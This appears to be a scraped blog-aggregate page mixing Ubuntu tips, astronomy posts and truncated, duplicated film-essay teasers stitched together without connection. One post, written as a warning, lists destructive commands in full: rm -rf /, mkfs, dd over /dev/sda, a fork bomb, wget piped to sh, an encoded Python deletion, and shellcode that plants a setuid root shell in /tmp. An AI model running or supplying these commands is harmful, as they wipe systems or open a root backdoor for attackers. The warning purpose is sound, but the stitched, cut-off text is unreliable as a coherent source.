service command in ubuntu

Redhat, Fedora and CentOS users and server administrators uses service * start/stop/restart/status command. Where as Ubuntu users and server administrators uses /etc/init.d/* start/stop/restart.

With Ubuntu Intrepid Ibex 8.10 Ubuntu users can also use the service command to start/stop/restart the Ubuntu services.

Hope this make the Redhat and other administrators little homely while using Ubuntu :P.

The End: 150 Great Climactic Movie Moments

NOTE: Naturally, in a story like this, there's going to be SPOILERS. So consider yourself warned, but still, don't be scared away... I got to thinking about movie endings the other day. I was watching George Roy Hill's A Little Romance again and noticing how my heart beats faster as it barrels towards its conclusion, even though I've seen it a hundred times. There's that race against time,

The End: 150 Great Climactic Movie Moments

NOTE: Naturally, in a story like this, there's going to be SPOILERS. So consider yourself warned, but still, don't be scared away... I got to thinking about movie endings the other day. I was watching George Roy Hill's A Little Romance again and noticing how my heart beats faster as it barrels towards its conclusion, even though I've seen it a hundred times. There's that race against time,

Change folder background

It is easy to customize color or pattern in folder background. I use Ubuntu, Gnome and Nautilus. To put any particular color or pattern as a background follow the following steps.

1. In Nautilus go to Edit -> Background and Emblems
   
2. You will see patterns. Drag any one of them to put it as pattern. To reset drag the pattern on top left corner with reset text.
3. If you want to put particular color go to colors tab and drag any one of them.

Dark October Mornings

Last year the US Congress made a change in daylight savings time. Rather than end in October it now carries into November. The effect of this is that mornings are dark in October, making it hard to get up and get going. On the other hand, it makes it much easier to see the morning sky and in the coming days it's going to be noteworthy.

Sunrise is happening this week at 7:30 which means that up until 6:45 or so, the sky is dark enough to see stars and planets. The diagram shows where to look for the Moon, Saturn and even Mercury. In the Fall, the path of the planets and Moon (the ecliptic) is in a very steep line from the point of sunrise into the eastern sky. Hence Mercury will be visible just above the point where the Sun will be rising, and Saturn and the Moon in increasing distances above and to the south of Mercury.

I love to see the very old Moon in the last days of its cycle. The ever thinning crescent reflects more and more "earthshine" and glows like a jewel in the morning sky. As October comes to a close, the waning Moon on the 24th, 25th, 26th and 27th should be a striking sight as the sky begins to glow with the dawn.

Trippy, Dude: A Guide to Films Best Seen in an Altered State

Ideally, when we succumb to a film, we’re giving ourselves over completely to it. We ask it to take us away to another place, another time, away from where we might be in our lives. When the lights dim in a theater or a den, we hope the trip on which we’re about to embark will lead to unabashedly spiritual or physical changes in our bodies. In that way, movies certainly resemble drugs,

Trippy, Dude: A Guide to Films Best Seen in an Altered State

Ideally, when we succumb to a film, we’re giving ourselves over completely to it. We ask it to take us away to another place, another time, away from where we might be in our lives. When the lights dim in a theater or a den, we hope the trip on which we’re about to embark will lead to unabashedly spiritual or physical changes in our bodies. In that way, movies certainly resemble drugs,

Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*


mkfs
mkfs.ext3
mkfs.anything


any_command > /dev/sda
dd if=something of=/dev/sda


:(){:|:&};:


wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh



char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'


Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73

Crash Windows with two keys

Open notepad and copy the following lines. Save it as "crashWin.reg". (including the double quotes)

Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters]
"CrashOnCtrlScroll"=dword:00000001

Save and exit notepad.



Or if you know how to edit the registry you can do it as in the picture below.



Right click the file crashwin.reg and select merge.



You will get a dialog box asking if you want to add information to registry.
Select yes.



You will be greeted saying the information were added successfully.



Now restart the computer.

After your windows boots up, press and hold Right Control key(Left control key will not work) and hit Scroll Lock key twice.

Your windows will crash generating the memory dump file.



P.S. This is not a bug. This is a feature provided by Microsoft to generate memory dump file.

Meme Challenge: What Should Have Won Best Picture...

So it's getting close to Oscar season--it's that magic time when we know something's coming up, we just don't know what. (My October picks for the Best Picture nominees, based on absolutely nothing but marketing bullshit, cast and crew pedigrees, and gut feelings: The Curious Case of Benjamin Button, Gran Torino, Milk, Revolutionary Road and The Wrestler. However, we should remember that one or

Meme Challenge: What Should Have Won Best Picture...

So it's getting close to Oscar season--it's that magic time when we know something's coming up, we just don't know what. (My October picks for the Best Picture nominees, based on absolutely nothing but marketing bullshit, cast and crew pedigrees, and gut feelings: The Curious Case of Benjamin Button, Gran Torino, Milk, Revolutionary Road and The Wrestler. However, we should remember that one or

Galileo discoveries redux

Nearly 400 years ago Galileo pointed a crude telescope toward the heavens and documented three remarkable things in the sky, discoveries that dramatically affected the understanding of the universe at that stage in history. With his telescope Galileo was able to see that the Moon was not a perfect circle, that Venus had phases, and that Jupiter had satellites of its own. Each of these posed a threat to the current body of knowledge of that era - Jupiter's moons and Venus' phases challenged the geocentric view of the universe and the non-perfect Moon challenged the Aristotelian theory of perfectly circular shapes in the universe.

With a simple telescope or even binoculars you can recreate some of these discoveries in the coming weeks and months. I'll write more about Venus in a future post. In October and November the phase of Venus will gradually transition from gibbous to half and later in the year to a crescent. The Moon is easy enough to study and is a marvel to view in any telescope or binoculars with the spectacular rocky edge of the surface always intriguing.

However, for the coming months Jupiter is the dominant "star" in the evening sky. Jupiter calls out for investigation because of the interesting texture of its surface and because of the changing position of its four largest moons. Called the Galilean satellites, these moons are visible to us even in low magnification and are interesting to observe because they change location so quickly -- even within the course of a few hours. They regularly pass through the shadow of Jupiter, yielding eclipses on a frequent basis.

From the nearest to the furthest moon, the names of the four satellites are Io, Europa, Ganymede and Callisto. Io is so close to Jupiter that it orbits the giant planet in less than two Earth days. Europa takes exactly twice as long and Ganymede twice as long again. Every few hours the overall pattern of these four moons is changed sufficiently to see new moons emerge from behind Jupiter, others disappear, and the overall pattern spread apart and then contract into a group.

Sky and Telescope Magazine has an excellent article on the moons and a very helpful pop-up screen that you can view in your web browser. It shows you the relative position of the moons of Jupiter at any time and can make a star gazing evening into a treasure hunt that will give you the feeling of discovery that will rival that of Galileo. So take the time to look to the south for the brightest object you can see (about halfway up the horizon above due south after sunset) and try it for yourself.

Gnome desktop Screenshot

Here is a beautiful screenshot of Ubuntu desktop. It has some kind of black theme with big nice cool looking Firefox icon. Other icons are lined below. Unlike other screenshots, in this screenshot you wont find any dock or screenlets.

With combination of nice theme, icon and background this sure is a solid desktop.